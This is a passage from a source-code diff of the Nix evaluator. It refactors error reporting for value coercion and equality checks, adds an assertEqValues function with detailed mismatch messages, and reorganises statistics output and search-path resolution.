(maybeString) return std::move(*maybeString); - auto i = v.attrs->find(sOutPath); - if (i == v.attrs->end()) - throwTypeError(pos, "cannot coerce a set to a string"); - return coerceToString(pos, *i->value, context, coerceMore, copyToStore); + auto i = v.attrs()->find(sOutPath); + if (i == v.attrs()->end()) { + error( + "cannot coerce %1% to a string: %2%", + showType(v), + ValuePrinter(*this, v, errorPrintOptions) + ) + .withTrace(pos, errorCtx) + .debugThrow(); + } + return coerceToString(pos, *i->value, context, errorCtx, + coerceMore, copyToStore, canonicalizePath); } - if (v.type() == nExternal) - return v.external->coerceToString(positions[pos], context, coerceMore, copyToStore); + if (v.type() == nExternal) { + try { + return v.external()->coerceToString(*this, pos, context, coerceMore, copyToStore); + } catch (Error & e) { + e.addTrace(nullptr, errorCtx); + throw; + } + } if (coerceMore) { /* Note that `false' is represented as an empty string for shell scripting convenience, just like `null'. */ - if (v.type() == nBool && v.boolean) return "1"; - if (v.type() == nBool && !v.boolean) return ""; - if (v.type() == nInt) return std::to_string(v.integer); - if (v.type() == nFloat) return std::to_string(v.fpoint); + if (v.type() == nBool && v.boolean()) return "1"; + if (v.type() == nBool && !v.boolean()) return ""; + if (v.type() == nInt) return std::to_string(v.integer().value); + if (v.type() == nFloat) return std::to_string(v.fpoint()); if (v.type() == nNull) return ""; if (v.isList()) { std::string result; for (auto [n, v2] : enumerate(v.listItems())) { - result += *coerceToString(pos, *v2, context, coerceMore, copyToStore); + try { + result += *coerceToString(pos, *v2, context, + "while evaluating one element of the list", + coerceMore, copyToStore, canonicalizePath); + } catch (Error & e) { + e.addTrace(positions[pos], errorCtx); + throw; + } if (n < v.listSize() - 1 /* !!! not quite correct */ && (!v2->isList() || v2->listSize() != 0)) result += " "; } - return std::move(result); + return result; } } - throwTypeError(pos, "cannot coerce %1% to a string", v); + error("cannot coerce %1% to a string: %2%", + showType(v), + ValuePrinter(*this, v, errorPrintOptions) + ) + .withTrace(pos, errorCtx) + .debugThrow(); } -std::string EvalState::copyPathToStore(PathSet & context, const Path & path) +StorePath EvalState::copyPathToStore(NixStringContext & context, const SourcePath & path) { - if (nix::isDerivation(path)) - throwEvalError("file names are not allowed to end in '%1%'", drvExtension); + if (nix::isDerivation(path.path.abs())) + error("file names are not allowed to end in '%1%'", drvExtension).debugThrow(); - Path dstPath; - auto i = srcToStore.find(path); - if (i != srcToStore.end()) - dstPath = store->printStorePath(i->second); - else { - auto p = settings.readOnlyMode - ? store->computeStorePathForPath(std::string(baseNameOf(path)), checkSourcePath(path)).first - : store->addToStore(std::string(baseNameOf(path)), checkSourcePath(path), FileIngestionMethod::Recursive, htSHA256, defaultPathFilter, repair); - dstPath = store->printStorePath(p); - allowPath(p); - srcToStore.insert_or_assign(path, std::move(p)); - printMsg(lvlChatty, "copied source '%1%' -> '%2%'", path, dstPath); - } + auto dstPathCached = get(*srcToStore.lock(), path); - context.insert(dstPath); + auto dstPath = dstPathCached + ? *dstPathCached + : [&]() { + auto dstPath = fetchToStore( + *store, + path.resolveSymlinks(), + settings.readOnlyMode ? FetchMode::DryRun : FetchMode::Copy, + path.baseName(), + ContentAddressMethod::Raw::NixArchive, + nullptr, + repair); + allowPath(dstPath); + srcToStore.lock()->try_emplace(path, dstPath); + printMsg(lvlChatty, "copied source '%1%' -> '%2%'", path, store->printStorePath(dstPath)); + return dstPath; + }(); + + context.insert(NixStringContextElem::Opaque { + .path = dstPath + }); return dstPath; } -Path EvalState::coerceToPath(const PosIdx pos, Value & v, PathSet & context) +SourcePath EvalState::coerceToPath(const PosIdx pos, Value & v, NixStringContext & context, std::string_view errorCtx) { - auto path = coerceToString(pos, v, context, false, false).toOwned(); + try { + forceValue(v, pos); + } catch (Error & e) { + e.addTrace(positions[pos], errorCtx); + throw; + } + + /* Handle path values directly, without coercing to a string. */ + if (v.type() == nPath) + return v.path(); + + /* Similarly, handle __toString where the result may be a path + value. */ + if (v.type() == nAttrs) { + auto i = v.attrs()->find(sToString); + if (i != v.attrs()->end()) { + Value v1; + callFunction(*i->value, v, v1, pos); + return coerceToPath(pos, v1, context, errorCtx); + } + } + + /* Any other value should be coercable to a string, interpreted + relative to the root filesystem. */ + auto path = coerceToString(pos, v, context, errorCtx, false, false, true).toOwned(); if (path == "" || path[0] != '/') - throwEvalError(pos, "string '%1%' doesn't represent an absolute path", path); - return path; + error("string '%1%' doesn't represent an absolute path", path).withTrace(pos, errorCtx).debugThrow(); + return rootPath(CanonPath(path)); } -StorePath EvalState::coerceToStorePath(const PosIdx pos, Value & v, PathSet & context) +StorePath EvalState::coerceToStorePath(const PosIdx pos, Value & v, NixStringContext & context, std::string_view errorCtx) { - auto path = coerceToString(pos, v, context, false, false).toOwned(); + auto path = coerceToString(pos, v, context, errorCtx, false, false, true).toOwned(); if (auto storePath = store->maybeParseStorePath(path)) return *storePath; - throw EvalError({ - .msg = hintfmt("path '%1%' is not in the Nix store", path), - .errPos = positions[pos] - }); + error("path '%1%' is not in the Nix store", path).withTrace(pos, errorCtx).debugThrow(); } -bool EvalState::eqValues(Value & v1, Value & v2) +std::pair EvalState::coerceToSingleDerivedPathUnchecked(const PosIdx pos, Value & v, std::string_view errorCtx) { - forceValue(v1, noPos); - forceValue(v2, noPos); + NixStringContext context; + auto s = forceString(v, context, pos, errorCtx); + auto csize = context.size(); + if (csize != 1) + error( + "string '%s' has %d entries in its context. It should only have exactly one entry", + s, csize) + .withTrace(pos, errorCtx).debugThrow(); + auto derivedPath = std::visit(overloaded { + [&](NixStringContextElem::Opaque && o) -> SingleDerivedPath { + return std::move(o); + }, + [&](NixStringContextElem::DrvDeep &&) -> SingleDerivedPath { + error( + "string '%s' has a context which refers to a complete source and binary closure. This is not supported at this time", + s).withTrace(pos, errorCtx).debugThrow(); + }, + [&](NixStringContextElem::Built && b) -> SingleDerivedPath { + return std::move(b); + }, + }, ((NixStringContextElem &&) *context.begin()).raw); + return { + std::move(derivedPath), + std::move(s), + }; +} + + +SingleDerivedPath EvalState::coerceToSingleDerivedPath(const PosIdx pos, Value & v, std::string_view errorCtx) +{ + auto [derivedPath, s_] = coerceToSingleDerivedPathUnchecked(pos, v, errorCtx); + auto s = s_; + auto sExpected = mkSingleDerivedPathStringRaw(derivedPath); + if (s != sExpected) { + /* `std::visit` is used here just to provide a more precise + error message. */ + std::visit(overloaded { + [&](const SingleDerivedPath::Opaque & o) { + error( + "path string '%s' has context with the different path '%s'", + s, sExpected) + .withTrace(pos, errorCtx).debugThrow(); + }, + [&](const SingleDerivedPath::Built & b) { + error( + "string '%s' has context with the output '%s' from derivation '%s', but the string is not the right placeholder for this derivation output. It should be '%s'", + s, b.output, b.drvPath->to_string(*store), sExpected) + .withTrace(pos, errorCtx).debugThrow(); + } + }, derivedPath.raw()); + } + return derivedPath; +} + + + +// NOTE: This implementation must match eqValues! +// We accept this burden because informative error messages for +// `assert a == b; x` are critical for our users' testing UX. +void EvalState::assertEqValues(Value & v1, Value & v2, const PosIdx pos, std::string_view errorCtx) +{ + // This implementation must match eqValues. + forceValue(v1, pos); + forceValue(v2, pos); + + if (&v1 == &v2) + return; + + // Special case type-compatibility between float and int + if ((v1.type() == nInt || v1.type() == nFloat) && (v2.type() == nInt || v2.type() == nFloat)) { + if (eqValues(v1, v2, pos, errorCtx)) { + return; + } else { + error( + "%s with value '%s' is not equal to %s with value '%s'", + showType(v1), + ValuePrinter(*this, v1, errorPrintOptions), + showType(v2), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + } + + if (v1.type() != v2.type()) { + error( + "%s of value '%s' is not equal to %s of value '%s'", + showType(v1), + ValuePrinter(*this, v1, errorPrintOptions), + showType(v2), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + + switch (v1.type()) { + case nInt: + if (v1.integer() != v2.integer()) { + error("integer '%d' is not equal to integer '%d'", v1.integer(), v2.integer()).debugThrow(); + } + return; + + case nBool: + if (v1.boolean() != v2.boolean()) { + error( + "boolean '%s' is not equal to boolean '%s'", + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + return; + + case nString: + if (strcmp(v1.c_str(), v2.c_str()) != 0) { + error( + "string '%s' is not equal to string '%s'", + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + return; + + case nPath: + if (v1.payload.path.accessor != v2.payload.path.accessor) { + error( + "path '%s' is not equal to path '%s' because their accessors are different", + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + if (strcmp(v1.payload.path.path, v2.payload.path.path) != 0) { + error( + "path '%s' is not equal to path '%s'", + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + return; + + case nNull: + return; + + case nList: + if (v1.listSize() != v2.listSize()) { + error( + "list of size '%d' is not equal to list of size '%d', left hand side is '%s', right hand side is '%s'", + v1.listSize(), + v2.listSize(), + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + for (size_t n = 0; n < v1.listSize(); ++n) { + try { + assertEqValues(*v1.listElems()[n], *v2.listElems()[n], pos, errorCtx); + } catch (Error & e) { + e.addTrace(positions[pos], "while comparing list element %d", n); + throw; + } + } + return; + + case nAttrs: { + if (isDerivation(v1) && isDerivation(v2)) { + auto i = v1.attrs()->get(sOutPath); + auto j = v2.attrs()->get(sOutPath); + if (i && j) { + try { + assertEqValues(*i->value, *j->value, pos, errorCtx); + return; + } catch (Error & e) { + e.addTrace(positions[pos], "while comparing a derivation by its '%s' attribute", "outPath"); + throw; + } + assert(false); + } + } + + if (v1.attrs()->size() != v2.attrs()->size()) { + error( + "attribute names of attribute set '%s' differs from attribute set '%s'", + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + + // Like normal comparison, we compare the attributes in non-deterministic Symbol index order. + // This function is called when eqValues has found a difference, so to reliably + // report about its result, we should follow in its literal footsteps and not + // try anything fancy that could lead to an error. + Bindings::const_iterator i, j; + for (i = v1.attrs()->begin(), j = v2.attrs()->begin(); i != v1.attrs()->end(); ++i, ++j) { + if (i->name != j->name) { + // A difference in a sorted list means that one attribute is not contained in the other, but we don't + // know which. Let's find out. Could use <, but this is more clear. + if (!v2.attrs()->get(i->name)) { + error( + "attribute name '%s' is contained in '%s', but not in '%s'", + symbols[i->name], + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + if (!v1.attrs()->get(j->name)) { + error( + "attribute name '%s' is missing in '%s', but is contained in '%s'", + symbols[j->name], + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + assert(false); + } + try { + assertEqValues(*i->value, *j->value, pos, errorCtx); + } catch (Error & e) { + // The order of traces is reversed, so this presents as + // where left hand side is + // at + // where right hand side is + // at + // while comparing attribute '' + if (j->pos != noPos) + e.addTrace(positions[j->pos], "where right hand side is"); + if (i->pos != noPos) + e.addTrace(positions[i->pos], "where left hand side is"); + e.addTrace(positions[pos], "while comparing attribute '%s'", symbols[i->name]); + throw; + } + } + return; + } + + case nFunction: + error("distinct functions and immediate comparisons of identical functions compare as unequal") + .debugThrow(); + + case nExternal: + if (!(*v1.external() == *v2.external())) { + error( + "external value '%s' is not equal to external value '%s'", + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + return; + + case nFloat: + // !!! + if (!(v1.fpoint() == v2.fpoint())) { + error("float '%f' is not equal to float '%f'", v1.fpoint(), v2.fpoint()).debugThrow(); + } + return; + + case nThunk: // Must not be left by forceValue + assert(false); + default: // Note that we pass compiler flags that should make `default:` unreachable. + // Also note that this probably ran after `eqValues`, which implements + // the same logic more efficiently (without having to unwind stacks), + // so maybe `assertEqValues` and `eqValues` are out of sync. Check it for solutions. + error("assertEqValues: cannot compare %1% with %2%", showType(v1), showType(v2)).withTrace(pos, errorCtx).panic(); + } +} + +// This implementation must match assertEqValues +bool EvalState::eqValues(Value & v1, Value & v2, const PosIdx pos, std::string_view errorCtx) +{ + forceValue(v1, pos); + forceValue(v2, pos); /* !!! Hack to support some old broken code that relies on pointer equality tests between sets. (Specifically, builderDefs calls @@ -2350,26 +2733,28 @@ bool EvalState::eqValues(Value & v1, Value & v2) // Special case type-compatibility between float and int if (v1.type() == nInt && v2.type() == nFloat) - return v1.integer == v2.fpoint; + return v1.integer().value == v2.fpoint(); if (v1.type() == nFloat && v2.type() == nInt) - return v1.fpoint == v2.integer; + return v1.fpoint() == v2.integer().value; // All other types are not compatible with each other. if (v1.type() != v2.type()) return false; switch (v1.type()) { - case nInt: - return v1.integer == v2.integer; + return v1.integer() == v2.integer(); case nBool: - return v1.boolean == v2.boolean; + return v1.boolean() == v2.boolean(); case nString: - return strcmp(v1.string.s, v2.string.s) == 0; + return strcmp(v1.c_str(), v2.c_str()) == 0; case nPath: - return strcmp(v1.path, v2.path) == 0; + return + // FIXME: compare accessors by their fingerprint. + v1.payload.path.accessor == v2.payload.path.accessor + && strcmp(v1.payload.path.path, v2.payload.path.path) == 0; case nNull: return true; @@ -2377,25 +2762,25 @@ bool EvalState::eqValues(Value & v1, Value & v2) case nList: if (v1.listSize() != v2.listSize()) return false; for (size_t n = 0; n < v1.listSize(); ++n) - if (!eqValues(*v1.listElems()[n], *v2.listElems()[n])) return false; + if (!eqValues(*v1.listElems()[n], *v2.listElems()[n], pos, errorCtx)) return false; return true; case nAttrs: { /* If both sets denote a derivation (type = "derivation"), then compare their outPaths. */ if (isDerivation(v1) && isDerivation(v2)) { - Bindings::iterator i = v1.attrs->find(sOutPath); - Bindings::iterator j = v2.attrs->find(sOutPath); - if (i != v1.attrs->end() && j != v2.attrs->end()) - return eqValues(*i->value, *j->value); + auto i = v1.attrs()->get(sOutPath); + auto j = v2.attrs()->get(sOutPath); + if (i && j) + return eqValues(*i->value, *j->value, pos, errorCtx); } - if (v1.attrs->size() != v2.attrs->size()) return false; + if (v1.attrs()->size() != v2.attrs()->size()) return false; /* Otherwise, compare the attributes one by one. */ - Bindings::iterator i, j; - for (i = v1.attrs->begin(), j = v2.attrs->begin(); i != v1.attrs->end(); ++i, ++j) - if (i->name != j->name || !eqValues(*i->value, *j->value)) + Bindings::const_iterator i, j; + for (i = v1.attrs()->begin(), j = v2.attrs()->begin(); i != v1.attrs()->end(); ++i, ++j) + if (i->name != j->name || !eqValues(*i->value, *j->value, pos, errorCtx)) return false; return true; @@ -2406,25 +2791,55 @@ bool EvalState::eqValues(Value & v1, Value & v2) return false; case nExternal: - return *v1.external == *v2.external; + return *v1.external() == *v2.external(); case nFloat: - return v1.fpoint == v2.fpoint; + // !!! + return v1.fpoint() == v2.fpoint(); - default: - throwEvalError("cannot compare %1% with %2%", - showType(v1), - showType(v2)); + case nThunk: // Must not be left by forceValue + assert(false); + default: // Note that we pass compiler flags that should make `default:` unreachable. + error("eqValues: cannot compare %1% with %2%", showType(v1), showType(v2)).withTrace(pos, errorCtx).panic(); } } -void EvalState::printStats() +bool EvalState::fullGC() { +#if HAVE_BOEHMGC + GC_gcollect(); + // Check that it ran. We might replace this with a version that uses more + // of the boehm API to get this reliably, at a maintenance cost. + // We use a 1K margin because technically this has a race condtion, but we + // probably won't encounter it in practice, because the CLI isn't concurrent + // like that. + return GC_get_bytes_since_gc() < 1024; +#else + return false; +#endif +} + +void EvalState::maybePrintStats() { bool showStats = getEnv("NIX_SHOW_STATS").value_or("0") != "0"; + if (showStats) { + // Make the final heap size more deterministic. +#if HAVE_BOEHMGC + if (!fullGC()) { + warn("failed to perform a full GC before reporting stats"); + } +#endif + printStatistics(); + } +} + +void EvalState::printStatistics() +{ +#ifndef _WIN32 // TODO use portable implementation struct rusage buf; getrusage(RUSAGE_SELF, &buf); float cpuTime = buf.ru_utime.tv_sec + ((float) buf.ru_utime.tv_usec / 1000000); +#endif uint64_t bEnvs = nrEnvs * sizeof(Env) + nrValuesInEnvs * sizeof(Value *); uint64_t bLists = nrListElems * sizeof(Value *); @@ -2434,120 +2849,346 @@ void EvalState::printStats() #if HAVE_BOEHMGC GC_word heapSize, totalBytes; GC_get_heap_usage_safe(&heapSize, 0, 0, 0, &totalBytes); + double gcFullOnlyTime = ({ + auto ms = GC_get_full_gc_total_time(); + ms * 0.001; + }); + auto gcCycles = getGCCycles(); +#endif + + auto outPath = getEnv("NIX_SHOW_STATS_PATH").value_or("-"); + std::fstream fs; + if (outPath != "-") + fs.open(outPath, std::fstream::out); + json topObj = json::object(); +#ifndef _WIN32 // TODO implement + topObj["cpuTime"] = cpuTime; +#endif + topObj["time"] = { +#ifndef _WIN32 // TODO implement + {"cpu", cpuTime}, #endif - if (showStats) { - auto outPath = getEnv("NIX_SHOW_STATS_PATH").value_or("-"); - std::fstream fs; - if (outPath != "-") - fs.open(outPath, std::fstream::out); - json topObj = json::object(); - topObj["cpuTime"] = cpuTime; - topObj["envs"] = { - {"number", nrEnvs}, - {"elements", nrValuesInEnvs}, - {"bytes", bEnvs}, - }; - topObj["list"] = { - {"elements", nrListElems}, - {"bytes", bLists}, - {"concats", nrListConcats}, - }; - topObj["values"] = { - {"number", nrValues}, - {"bytes", bValues}, - }; - topObj["symbols"] = { - {"number", symbols.size()}, - {"bytes", symbols.totalSize()}, - }; - topObj["sets"] = { - {"number", nrAttrsets}, - {"bytes", bAttrsets}, - {"elements", nrAttrsInAttrsets}, - }; - topObj["sizes"] = { - {"Env", sizeof(Env)}, - {"Value", sizeof(Value)}, - {"Bindings", sizeof(Bindings)}, - {"Attr", sizeof(Attr)}, - }; - topObj["nrOpUpdates"] = nrOpUpdates; - topObj["nrOpUpdateValuesCopied"] = nrOpUpdateValuesCopied; - topObj["nrThunks"] = nrThunks; - topObj["nrAvoided"] = nrAvoided; - topObj["nrLookups"] = nrLookups; - topObj["nrPrimOpCalls"] = nrPrimOpCalls; - topObj["nrFunctionCalls"] = nrFunctionCalls; #if HAVE_BOEHMGC - topObj["gc"] = { - {"heapSize", heapSize}, - {"totalBytes", totalBytes}, - }; + {GC_is_incremental_mode() ? "gcNonIncremental" : "gc", gcFullOnlyTime}, + {GC_is_incremental_mode() ? "gcNonIncrementalFraction" : "gcFraction", gcFullOnlyTime / cpuTime}, +#endif + }; + topObj["envs"] = { + {"number", nrEnvs}, + {"elements", nrValuesInEnvs}, + {"bytes", bEnvs}, + }; + topObj["nrExprs"] = Expr::nrExprs; + topObj["list"] = { + {"elements", nrListElems}, + {"bytes", bLists}, + {"concats", nrListConcats}, + }; + topObj["values"] = { + {"number", nrValues}, + {"bytes", bValues}, + }; + topObj["symbols"] = { + {"number", symbols.size()}, + {"bytes", symbols.totalSize()}, + }; + topObj["sets"] = { + {"number", nrAttrsets}, + {"bytes", bAttrsets}, + {"elements", nrAttrsInAttrsets}, + }; + topObj["sizes"] = { + {"Env", sizeof(Env)}, + {"Value", sizeof(Value)}, + {"Bindings", sizeof(Bindings)}, + {"Attr", sizeof(Attr)}, + }; + topObj["nrOpUpdates"] = nrOpUpdates; + topObj["nrOpUpdateValuesCopied"] = nrOpUpdateValuesCopied; + topObj["nrThunks"] = nrThunks; + topObj["nrAvoided"] = nrAvoided; + topObj["nrLookups"] = nrLookups; + topObj["nrPrimOpCalls"] = nrPrimOpCalls; + topObj["nrFunctionCalls"] = nrFunctionCalls; +#if HAVE_BOEHMGC + topObj["gc"] = { + {"heapSize", heapSize}, + {"totalBytes", totalBytes}, + {"cycles", gcCycles}, + }; #endif - if (countCalls) { - topObj["primops"] = primOpCalls; - { - auto& list = topObj["functions"]; - list = json::array(); - for (auto & [fun, count] : functionCalls) { - json obj = json::object(); - if (fun->name) - obj["name"] = (std::string_view) symbols[fun->name]; - else - obj["name"] = nullptr; - if (auto pos = positions[fun->pos]) { - if (auto path = std::get_if(&pos.origin)) - obj["file"] = *path; - obj["line"] = pos.line; - obj["column"] = pos.column; - } - obj["count"] = count; - list.push_back(obj); - } - } - { - auto list = topObj["attributes"]; - list = json::array(); - for (auto & i : attrSelects) { - json obj = json::object(); - if (auto pos = positions[i.first]) { - if (auto path = std::get_if(&pos.origin)) - obj["file"] = *path; - obj["line"] = pos.line; - obj["column"] = pos.column; - } - obj["count"] = i.second; - list.push_back(obj); + if (countCalls) { + topObj["primops"] = primOpCalls; + { + auto& list = topObj["functions"]; + list = json::array(); + for (auto & [fun, count] : functionCalls) { + json obj = json::object(); + if (fun->name) + obj["name"] = (std::string_view) symbols[fun->name]; + else + obj["name"] = nullptr; + if (auto pos = positions[fun->pos]) { + if (auto path = std::get_if(&pos.origin)) + obj["file"] = path->to_string(); + obj["line"] = pos.line; + obj["column"] = pos.column; } + obj["count"] = count; + list.push_back(obj); } } + { + auto list = topObj["attributes"]; + list = json::array(); + for (auto & i : attrSelects) { + json obj = json::object(); + if (auto pos = positions[i.first]) { + if (auto path = std::get_if(&pos.origin)) + obj["file"] = path->to_string(); + obj["line"] = pos.line; + obj["column"] = pos.column; + } + obj["count"] = i.second; + list.push_back(obj); + } + } + } - if (getEnv("NIX_SHOW_SYMBOLS").value_or("0") != "0") { - // XXX: overrides earlier assignment - topObj["symbols"] = json::array(); - auto &list = topObj["symbols"]; - symbols.dump([&](const std::string & s) { list.emplace_back(s); }); - } - if (outPath == "-") { - std::cerr << topObj.dump(2) << std::endl; - } else { - fs << topObj.dump(2) << std::endl; - } + if (getEnv("NIX_SHOW_SYMBOLS").value_or("0") != "0") { + // XXX: overrides earlier assignment + topObj["symbols"] = json::array(); + auto &list = topObj["symbols"]; + symbols.dump([&](const std::string & s) { list.emplace_back(s); }); + } + if (outPath == "-") { + std::cerr << topObj.dump(2) << std::endl; + } else { + fs << topObj.dump(2) << std::endl; } } -std::string ExternalValueBase::coerceToString(const Pos & pos, PathSet & context, bool copyMore, bool copyToStore) const +SourcePath resolveExprPath(SourcePath path, bool addDefaultNix) { - throw TypeError({ - .msg = hintfmt("cannot coerce %1% to a string", showType()), - .errPos = pos - }); + unsigned int followCount = 0, maxFollow = 1024; + + /* If `path' is a symlink, follow it. This is so that relative + path references work. */ + while (!path.path.isRoot()) { + // Basic cycle/depth limit to avoid infinite loops. + if (++followCount >= maxFollow) + throw Error("too many symbolic links encountered while traversing the path '%s'", path); + auto p = path.parent().resolveSymlinks() / path.baseName(); + if (p.lstat().type != SourceAccessor::tSymlink) break; + path = {path.accessor, CanonPath(p.readLink(), path.path.parent().value_or(CanonPath::root))}; + } + + /* If `path' refers to a directory, append `/default.nix'. */ + if (addDefaultNix && path.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) + return path / "default.nix"; + + return path; } -bool ExternalValueBase::operator==(const ExternalValueBase & b) const +Expr * EvalState::parseExprFromFile(const SourcePath & path) +{ + return parseExprFromFile(path, staticBaseEnv); +} + + +Expr * EvalState::parseExprFromFile(const SourcePath & path, std::shared_ptr & staticEnv) +{ + auto buffer = path.resolveSymlinks().readFile(); + // readFile hopefully have left some extra space for terminators + buffer.append("\0\0", 2); + return parse(buffer.data(), buffer.size(), Pos::Origin(path), path.parent(), staticEnv); +} + + +Expr * EvalState::parseExprFromString(std::string s_, const SourcePath & basePath, std::shared_ptr & staticEnv) +{ + // NOTE this method (and parseStdin) must take care to *fully copy* their input + // into their respective Pos::Origin until the parser stops overwriting its input + // data. + auto s = make_ref(s_); + s_.append("\0\0", 2); + return parse(s_.data(), s_.size(), Pos::String{.source = s}, basePath, staticEnv); +} + + +Expr * EvalState::parseExprFromString(std::string s, const SourcePath & basePath) +{ + return parseExprFromString(std::move(s), basePath, staticBaseEnv); +} + + +Expr * EvalState::parseStdin() +{ + // NOTE this method (and parseExprFromString) must take care to *fully copy* their + // input into their respective Pos::Origin until the parser stops overwriting its + // input data. + //Activity act(*logger, lvlTalkative, "parsing standard input"); + auto buffer = drainFD(0); + // drainFD should have left some extra space for terminators + buffer.append("\0\0", 2); + auto s = make_ref(buffer); + return parse(buffer.data(), buffer.size(), Pos::Stdin{.source = s}, rootPath("."), staticBaseEnv); +} + + +SourcePath EvalState::findFile(const std::string_view path) +{ + return findFile(lookupPath, path); +} + + +SourcePath EvalState::findFile(const LookupPath & lookupPath, const std::string_view path, const PosIdx pos) +{ + for (auto & i : lookupPath.elements) { + auto suffixOpt = i.prefix.suffixIfPotentialMatch(path); + + if (!suffixOpt) continue; + auto suffix = *suffixOpt; + + auto rOpt = resolveLookupPathPath(i.path); + if (!rOpt) continue; + auto r = *rOpt; + + Path res = suffix == "" ? r : concatStrings(r, "/", suffix); + if (pathExists(res)) return rootPath(CanonPath(canonPath(res))); + } + + if (hasPrefix(path, "nix/")) + return {corepkgsFS, CanonPath(path.substr(3))}; + + error( + settings.pureEval + ? "cannot look up '<%s>' in pure evaluation mode (use '--impure' to override)" + : "file '%s' was not found in the Nix search path (add it using $NIX_PATH or -I)", + path + ).atPos(pos).debugThrow(); +} + + +std::optional EvalState::resolveLookupPathPath(const LookupPath::Path & value0, bool initAccessControl) +{ + auto & value = value0.s; + auto i = lookupPathResolved.find(value); + if (i != lookupPathResolved.end()) return i->second; + + auto finish = [&](std::string res) { + debug("resolved search path element '%s' to '%s'", value, res); + lookupPathResolved.emplace(value, res); + return res; + }; + + if (EvalSettings::isPseudoUrl(value)) { + try { + auto accessor = fetchers::downloadTarball( + store, + fetchSettings, + EvalSettings::resolvePseudoUrl(value)); + auto storePath = fetchToStore(*store, SourcePath(accessor), FetchMode::Copy); + return finish(store->toRealPath(storePath)); + } catch (Error & e) { + logWarning({ + .msg = HintFmt("Nix search path entry '%1%' cannot be downloaded, ignoring", value) + }); + } + } + + if (auto colPos = value.find(':'); colPos != value.npos) { + auto scheme = value.substr(0, colPos); + auto rest = value.substr(colPos + 1); + if (auto * hook = get(settings.lookupPathHooks, scheme)) { + auto res = (*hook)(store, rest); + if (res) + return finish(std::move(*res)); + } + } + + { + auto path = absPath(value); + + /* Allow access to paths in the search path. */ + if (initAccessControl) { + allowPath(path); + if (store->isInStore(path)) { + try { + StorePathSet closure; + store->computeFSClosure(store->toStorePath(path).first, closure); + for (auto & p : closure) + allowPath(p); + } catch (InvalidPath &) { } + } + } + + if (pathExists(path)) + return finish(std::move(path)); + else { + logWarning({ + .msg = HintFmt("Nix search path entry '%1%' does not exist, ignoring", value) + }); + } + } + + debug("failed to resolve search path element '%s'", value); + return std::nullopt; + +} + + +Expr * EvalState::parse( + char * text, + size_t length, + Pos::Origin origin, + const SourcePath & basePath, + std::shared_ptr & staticEnv) +{ + DocCommentMap tmpDocComments; // Only used when not origin is not a SourcePath + DocCommentMap *docComments = &tmpDocComments; + + if (auto sourcePath = std::get_if(&origin)) { + auto [it, _] = positionToDocComment.try_emplace(*sourcePath); + docComments = &it->second; + } + + auto result = parseExprFromBuf(text, length, origin, basePath, symbols, settings, positions, *docComments, rootFS, exprSymbols); + + result->bindVars(*this, staticEnv); + + return result; +} + +DocComment EvalState::getDocCommentForPos(PosIdx pos) +{ + auto pos2 = positions[pos]; + auto path = pos2.getSourcePath(); + if (!path) + return {}; + + auto table = positionToDocComment.find(*path); + if (table == positionToDocComment.end()) + return {}; + + auto it = table->second.find(pos); + if (it == table->second.end()) + return {}; + return it->second; +} + +std::string ExternalValueBase::coerceToString(EvalState & state, const PosIdx & pos, NixStringContext & context, bool copyMore, bool copyToStore) const +{ + state.error( + "cannot coerce %1% to a string: %2%", showType(), *this + ).atPos(pos).debugThrow(); +} + + +bool ExternalValueBase::operator==(const ExternalValueBase & b) const noexcept { return false; } @@ -2558,54 +3199,4 @@ std::ostream & operator << (std::ostream & str, const ExternalValueBase & v) { } -EvalSettings::EvalSettings() -{ - auto var = getEnv("NIX_PATH"); - if (var) nixPath = parseNixPath(*var); -} - -Strings EvalSettings::getDefaultNixPath() -{ - Strings res; - auto add = [&](const Path & p, const std::string & s = std::string()) { - if (pathExists(p)) { - if (s.empty()) { - res.push_back(p); - } else { - res.push_back(s + "=" + p); - } - } - }; - - if (!evalSettings.restrictEval && !evalSettings.pureEval) { - add(getHome() + "/.nix-defexpr/channels"); - add(settings.nixStateDir + "/profiles/per-user/root/channels/nixpkgs", "nixpkgs"); - add(settings.nixStateDir + "/profiles/per-user/root/channels"); - } - - return res; -} - -bool EvalSettings::isPseudoUrl(std::string_view s) -{ - if (s.compare(0, 8, "channel:") == 0) return true; - size_t pos = s.find("://"); - if (pos == std::string::npos) return false; - std::string scheme(s, 0, pos); - return scheme == "http" || scheme == "https" || scheme == "file" || scheme == "channel" || scheme == "git" || scheme == "s3" || scheme == "ssh"; -} - -std::string EvalSettings::resolvePseudoUrl(std::string_view url) -{ - if (hasPrefix(url, "channel:")) - return "https://nixos.org/channels/" + std::string(url.substr(8)) + "/nixexprs.tar.xz"; - else - return std::string(url); -} - -EvalSettings evalSettings; - -static GlobalConfig::Register rEvalSettings(&evalSettings); - - } diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 21666339b..ddf5dcf94 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -1,36 +1,127 @@ #pragma once +///@file #include "attr-set.hh" +#include "eval-error.hh" #include "types.hh" #include "value.hh" #include "nixexpr.hh" #include "symbol-table.hh" #include "config.hh" #include "experimental-features.hh" +#include "position.hh" +#include "pos-table.hh" +#include "source-accessor.hh" +#include "search-path.hh" +#include "repl-exit-status.hh" +#include "ref.hh" #include #include -#include -#include +#include namespace nix { +/** + * We put a limit on primop arity because it lets us use a fixed size array on + * the stack. 8 is already an impractical number of arguments. Use an attrset + * argument for such overly complicated functions. + */ +constexpr size_t 